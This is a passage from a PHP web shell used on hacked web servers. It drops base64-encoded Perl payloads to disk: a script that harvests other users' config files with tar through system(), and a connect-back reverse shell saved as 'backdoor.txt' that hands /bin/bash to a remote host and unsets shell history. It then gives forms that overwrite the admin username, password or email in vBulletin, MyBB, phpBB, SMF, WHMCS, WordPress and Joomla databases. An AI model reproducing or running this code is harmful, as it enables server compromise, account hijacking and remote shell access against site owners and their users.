klORyd9Owp9CkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7CmZvcmVhY2ggJHBhaXIgKEBwYWlycykgewogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOwogICRuYW1lID1+IHRyLysvIC87CiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkdmFsdWUgPX4gdHIvKy8gLzsKICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkRk9STXskbmFtZX0gPSAkdmFsdWU7Cn0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsKcHJpbnQgJwo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4KPHA+Q3liM3ItZHogQ29uZmlnIEZ1Y2sgU2NyaXB0PC9wPgo8cD48Zm9udCBjb2xvcj0iI0MwQzBDMCI+WzwvZm9udD4gQ29kZWQgQnkgQ3liM3ItRFogPGZvbnQgY29sb3I9IiNDMEMwQzAiPnw8L2ZvbnQ+IArDj8W+w43CoSDDocK54oKsw5HCjy4gw4XCpsOhwrvigLDDhMWTZcOQwq8gw4/FvsONwqE8c3BhbiBpZD0icmVzdWx0X2JveCIgY2xhc3M9InNob3J0X3RleHQiIGxhbmc9ImVuIj48c3BhbiBzdHlsZSB0aXRsZT4KPGZvbnQgY29sb3I9IiNDMEMwQzAiPnw8L2ZvbnQ+PC9zcGFuPjwvc3Bhbj4gPGEgaHJlZj0iaHR0cDovL3d3dy53d3cuc2VjNGV2ZXIuY29tIj4KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPnd3dy5zZWM0ZXZlci5jb208L2ZvbnQ+PC9zcGFuPjwvYT4gCjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250PjwvcD4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojMDBGRkZGIiAgPjwvdGV4dGFyZWE+PGJyIC8+CiZuYnNwOzxwPgo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7CkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsKJHkgPSBAbGluZXM7Cm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7CnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7CmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsKd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7CiZsaWwoJDEpOwpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsKZm9yKCRrZD0xOyRrZDwxODska2QrKyl7CnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsKfQp9CiB9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5Eb25lICEhPC9wPgo8cD4mbmJzcDs8L3A+JzsKaWYoJEZPUk17dGFyfSBuZSAiIil7Cm9wZW4oSU5GTywgInRhci50bXAiKTsKQGxpbmVzID08SU5GTz4gOwpjbG9zZShJTkZPKTsKc3lzdGVtKEBsaW5lcyk7CnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPgo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7Cn0KfQogcHJpbnQiCjwvYm9keT4KPC9odG1sPiI7Cg==');
$write = fwrite ($file ,$sa);

$file = fopen($dir."backdoor.txt" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0OwojICAgUHJpdjggKiogUHJpdjggKiogUHJp
djgKIyBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgQ29ubmVjdCBCYWNrIFNoZWxsICAgICAgICAgIAoj
IGNvZGUgYnk6TG9yRAojIFdlIEFyZSA6TG9yRC1DMGQzci1OVC1ceDkwICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAojIEVtYWlsOkxvckRAaWhzdGVhbS5jb20KIwoj
bG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJsIGRjLnBsCiMtLT09IENv
bm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZzIDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBT
QUJPVEFHRSA9PS0tCiMKI1VzYWdlOiBkYy5wbCBbSG9zdF0gW1BvcnRdCiMKI0V4OiBkYy5wbCAx
MjcuMC4wLjEgMjEyMQojbG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJs
IGRjLnBsIDEyNy4wLjAuMSAyMTIxCiMtLT09IENvbm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZz
IDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBTQUJPVEFHRSA9PS0tCiMKI1sqXSBSZXNvbHZp
bmcgSG9zdE5hbWUKI1sqXSBDb25uZWN0aW5nLi4uIDEyNy4wLjAuMQojWypdIFNwYXduaW5nIFNo
ZWxsCiNbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0CgojYmFzaC0yLjA1YiMgbmMgLXZ2IC1s
IC1wIDIxMjEKI2xpc3RlbmluZyBvbiBbYW55XSAyMTIxIC4uLgojY29ubmVjdCB0byBbMTI3LjAu
MC4xXSBmcm9tIGxvY2FsaG9zdCBbMTI3LjAuMC4xXSAzMjc2OQojLS09PSBDb25uZWN0QmFjayBC
YWNrZG9vciB2cyAxLjAgYnkgTG9yRCBvZiBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgPT0tLQojCiMt
LT09U3lzdGVtaW5mbz09LS0KI0xpbnV4IFNsYWNrd2FyZUxpbnV4IDIuNi43ICMxIFNNUCBUaHUg
RGVjIDIzIDAwOjA1OjM5IElSVCAyMDA0IGk2ODYgdW5rbm93biB1bmtub3duIEdOVS9MaW51eAoj
CiMtLT09VXNlcmluZm89PS0tCiN1aWQ9MTAwMShsb3JkKSBnaWQ9MTAwKHVzZXJzKSBncm91cHM9
MTAwKHVzZXJzKQojCiMtLT09RGlyZWN0b3J5PT0tLQojL3Jvb3QKIwojLS09PVNoZWxsPT0tLQoj
CiRzeXN0ZW0JPSAnL2Jpbi9iYXNoJzsKJEFSR0M9QEFSR1Y7IApwcmludCAiSUhTIEJBQ0stQ09O
TkVDVCBCQUNLRE9PUlxuXG4iOyAKaWYgKCRBUkdDIT0yKSB7IAogICBwcmludCAiVXNhZ2U6ICQw
IFtIb3N0XSBbUG9ydF0gXG5cbiI7IAogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7
IAp9IAp1c2UgU29ja2V0OyAKdXNlIEZpbGVIYW5kbGU7IApzb2NrZXQoU09DS0VULCBQRl9JTkVU
LCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBV
bmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOyAKY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRB
UkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRv
IENvbm5lY3QgSG9zdFxuIjsgCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOwpwcmlu
dCAiWypdIENvbm5lY3RpbmcuLi4gJEFSR1ZbMF0gXG4iOyAKcHJpbnQgIlsqXSBTcGF3bmluZyBT
aGVsbCBcbiI7CnByaW50ICJbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0IFxuIjsKU09DS0VU
LT5hdXRvZmx1c2goKTsgCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOyAKb3BlbihTVERPVVQsIj4m
U09DS0VUIik7IApvcGVuKFNUREVSUiwiPiZTT0NLRVQiKTsgCnByaW50ICJJSFMgQkFDSy1DT05O
RUNUIEJBQ0tET09SICBcblxuIjsgCnN5c3RlbSgidW5zZXQgSElTVEZJTEU7IHVuc2V0IFNBVkVI
SVNUIDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLSA7IHVuYW1lIC1hO2VjaG87CmVjaG8gLS09PVVz
ZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBl
Y2hvIC0tPT1TaGVsbD09LS0gIik7IApzeXN0ZW0oJHN5c3RlbSk7CiNFT0Y=');
$write = fwrite ($file ,$sa);

fclose($file);

chmod($dir."cgi.pl" , 0755);
chmod($dir."user.sa" , 0755);
chmod($dir."dz.sa" , 0755);
//chmod($dir."jeentel" , 0755);
chmod($dir."config.sa" , 0755);

if ($write) {
echo '<p align="center">Download Files is Done: <a href="'.$_POST['name_dir_download'].'" target="_blank" style="text-decoration: none">Get in Files ...!</a></p><br><br>';
}
else {echo"\"error\"";}


}
if($_POST['submit_download']){

download_files($_POST['name_dir_download']);

}

function update()
{
	echo "[+] Update Has D0n3 ^_^";
}
//vBulletin
if (isset($_POST['vbulletin']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change vBulletin Info<br>Patch Control Panel : [patch]/admincp<br>Path Config : [patch]/includes/config.php<br>includes/init.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/class_core.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=forums type=text name=dbnvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=vb_ type=text name=prvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>User admin<br></font><input value=admin type=text name=urvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>New password admin<br></font><input value=tiger type=password name=psvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>New E-mail admin<br></font><input [email protected] type=text name=emvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ><br>
          </form></center></td></tr></table></center>";
}else{
$dbhvb = $_POST['dbhvb'];
$dbnvb  = $_POST['dbnvb'];
$dbuvb = $_POST['dbuvb'];
$dbpvb  = $_POST['dbpvb'];
         @mysql_connect($dbhvb,$dbuvb,$dbpvb);
         @mysql_select_db($dbnvb);

$urvb=str_replace("\'","'",$urvb);

$set_urvb = $_POST['urvb'];

$psvb=str_replace("\'","'",$psvb);
$pass_vb = $_POST['psvb'];

$emvb=str_replace("\'","'",$emvb);
$set_emvb = $_POST['emvb'];

$vb_prefix = $_POST['prvb'];

$table_name = $vb_prefix."user" ;

$query = 'select * from ' . $table_name . ' where username="' . $set_urvb . '";';

$result = mysql_query($query);
$row = mysql_fetch_array($result);
$salt = $row['salt'];
$pass2 = md5($pass_vb);
$pass =$pass2 . $salt;

$set_pssalt = md5($pass);

$tiger1 = 'UPDATE ' . $table_name . ' SET password="' . $set_pssalt . '" WHERE username="' . $set_urvb . '";';
$tiger2 = 'UPDATE ' . $table_name . ' SET email="' . $set_emvb . '" WHERE username="' . $set_urvb . '";';

$ok1=@mysql_query($tiger1);
$ok1=@mysql_query($tiger2);

if($ok1){
echo "<script>alert('vBulletin Info Changed ;)');</script>";
}
}

//MyBB
if (isset($_POST['mybb']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change MyBB Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/inc/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=mybb type=text name=dbnmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbumy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change E-mail admin<br></font><input [email protected] type=text name=emmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=mybb_ type=text name=prmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhmy = $_POST['dbhmy'];
$dbnmy  = $_POST['dbnmy'];
$dbumy = $_POST['dbumy'];
$dbpmy  = $_POST['dbpmy'];
         @mysql_connect($dbhmy,$dbumy,$dbpmy);
         @mysql_select_db($dbnmy);

$urmy=str_replace("\'","'",$urmy);
$set_urmy = $_POST['urmy'];

$emmy=str_replace("\'","'",$emmy);
$set_emmy = $_POST['emmy'];

$my_prefix = $_POST['prmy'];

$table_name1 = $my_prefix."users" ;

$tiger3 = "UPDATE $table_name1 SET username ='".$set_urmy."' WHERE uid ='1'";
$tiger4 = "UPDATE $table_name1 SET email ='".$set_emmy."' WHERE uid ='1'";

$ok2=@mysql_query($tiger3);
$ok2=@mysql_query($tiger4);

if($ok2){
echo "<script>alert('MyBB Info Changed ;)');</script>";
}
}

//phpBB
if (isset($_POST['phpbb']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change phpBB Info<br>Patch Control Panel : [patch]/adm<br>Path Config : [patch]/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=phpbb type=text name=dbnphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=psphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=phpbb_ type=text name=prphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhphp = $_POST['dbhphp'];
$dbnphp  = $_POST['dbnphp'];
$dbuphp = $_POST['dbuphp'];
$dbpphp  = $_POST['dbpphp'];
         @mysql_connect($dbhphp,$dbuphp,$dbpphp);
         @mysql_select_db($dbnphp);

$urphp=str_replace("\'","'",$urphp);
$set_urphp = $_POST['urphp'];

$psphp=str_replace("\'","'",$psphp);
$pass_php = $_POST['psphp'];
$set_psphp = md5($pass_php);

$php_prefix = $_POST['prphp'];

$table_name2 = $php_prefix."users" ;

$tiger5 = "UPDATE $table_name2 SET username_clean ='".$set_urphp."' WHERE user_id ='2'";
$tiger6 = "UPDATE $table_name2 SET user_password ='".$set_psphp."' WHERE user_id ='2'";

$ok3=@mysql_query($tiger5);
$ok3=@mysql_query($tiger6);

if($ok3){
echo "<script>alert('phpBB Info Changed ;)');</script>";
}
}

//SMF
if (isset($_POST['smf']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change SMF Info<br>Patch Control Panel : [patch]/index.php?action=admin<br>Path Config : [patch]/Settings.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=smf type=text name=dbnsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbusmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=ursmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change E-mail admin<br></font><input [email protected] type=text name=emsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=smf_ type=text name=prsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhsmf = $_POST['dbhsmf'];
$dbnsmf  = $_POST['dbnsmf'];
$dbusmf = $_POST['dbusmf'];
$dbpsmf  = $_POST['dbpsmf'];
         @mysql_connect($dbhsmf,$dbusmf,$dbpsmf);
         @mysql_select_db($dbnsmf);

$ursmf=str_replace("\'","'",$ursmf);
$set_ursmf = $_POST['ursmf'];

$emsmf=str_replace("\'","'",$emsmf);
$set_emsmf = $_POST['emsmf'];

$smf_prefix = $_POST['prsmf'];

$table_name3 = $smf_prefix."members" ;

$tiger7 = "UPDATE $table_name3 SET member_name ='".$set_ursmf."' WHERE id_member ='1'";
$tiger8 = "UPDATE $table_name3 SET email_address ='".$set_emsmf."' WHERE id_member ='1'";

$tiger7 = "UPDATE $table_name3 SET memberName ='".$set_ursmf."' WHERE ID_MEMBER ='1'";
$tiger8 = "UPDATE $table_name3 SET emailAddress ='".$set_emsmf."' WHERE ID_MEMBER ='1'";

$ok4=@mysql_query($tiger7);
$ok4=@mysql_query($tiger8);

if($ok4){
echo "<script>alert('SMF Info Changed ;)');</script>";
}
}

//WHMCS
if (isset($_POST['whmcs']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change WHMCS Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/configuration.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=whmcs type=text name=dbnwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=pswhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhwhm = $_POST['dbhwhm'];
$dbnwhm  = $_POST['dbnwhm'];
$dbuwhm = $_POST['dbuwhm'];
$dbpwhm  = $_POST['dbpwhm'];
         @mysql_connect($dbhwhm,$dbuwhm,$dbpwhm);
         @mysql_select_db($dbnwhm);

$urwhm=str_replace("\'","'",$urwhm);
$set_urwhm = $_POST['urwhm'];

$pswhm=str_replace("\'","'",$pswhm);
$pass_whm = $_POST['pswhm'];
$set_pswhm = md5($pass_whm);

$tiger9 = "UPDATE tbladmins SET username ='".$set_urwhm."' WHERE id ='1'";
$tiger10 = "UPDATE tbladmins SET password ='".$set_pswhm."' WHERE id ='1'";

$ok5=@mysql_query($tiger9);
$ok5=@mysql_query($tiger10);

if($ok5){
echo "<script>alert('WHMCS Info Changed ;)');</script>";
}
}

//WordPress
if (isset($_POST['wordpress']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change WordPress Info<br>Patch Control Panel : [patch]/wp-admin<br>Path Config : [patch]/wp-config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=wordpress type=text name=dbnwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=pswp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=wp_ type=text name=prwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhwp = $_POST['dbhwp'];
$dbnwp  = $_POST['dbnwp'];
$dbuwp = $_POST['dbuwp'];
$dbpwp  = $_POST['dbpwp'];
         @mysql_connect($dbhwp,$dbuwp,$dbpwp);
         @mysql_select_db($dbnwp);

$urwp=str_replace("\'","'",$urwp);
$set_urwp = $_POST['urwp'];

$pswp=str_replace("\'","'",$pswp);
$pass_wp = $_POST['pswp'];
$set_pswp = md5($pass_wp);

$wp_prefix = $_POST['prwp'];

$table_name4 = $wp_prefix."users" ;

$tiger11 = "UPDATE $table_name4 SET user_login ='".$set_urwp."' WHERE ID ='1'";
$tiger12 = "UPDATE $table_name4 SET user_pass ='".$set_pswp."' WHERE ID ='1'";

$ok6=@mysql_query($tiger11);
$ok6=@mysql_query($tiger12);

if($ok6){
echo "<script>alert('WordPress Info Changed ;)');</script>";
}
}

//Joomla
if (isset($_POST['joomla']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change Joomla Info<br>Patch Control Panel : [patch]/administrator<br>Path Config : [patch]/configuration.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=joomla type=text name=dbnjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbujos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=psjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=jos_ type=text name=prjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhjos = $_POST['dbhjos'];
$dbnjos  = $_POST['dbnjos'];
$dbujos = $_POST['dbujos'];
$dbpjos  = $_POST['dbpjos'];
         @mysql_connect($dbhjos,$dbujos,$dbpjos);
         @mysql_select_db($dbnjos);

$urjos=str_replace("\'","'",$urjos);
$set_urjos = $_POST['urjos'];

$psjos=str_replace("\'","'",$psjos);
$pass_jos = $_POST['psjos'];
$set_psjos = md5($pass_jos);

$jos_prefix = $_POST['prjos'];

$table_name5 = $jos_prefix."users" ;

$tiger13 = "UPDATE $table_name5 SET username ='".$set_urjos."' WHERE id ='62'";
$tiger14 = "UPDATE $table_name5 SET password ='".$set_psjos."' WHERE id ='62'";

$ok7=@mysql_query($tiger13);
$ok7=@mysql_query($tiger14);

if($ok7){
echo "<script>alert('Joomla Info Changed ;)');</script>";
}
}

//PHP-NUKE
if (isset($_POST['php-nuke']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change PHP-NUKE Info<br>Patch Control Panel : [patch]/admin.php<br>Path Config : [patch]/config.php</font></center>
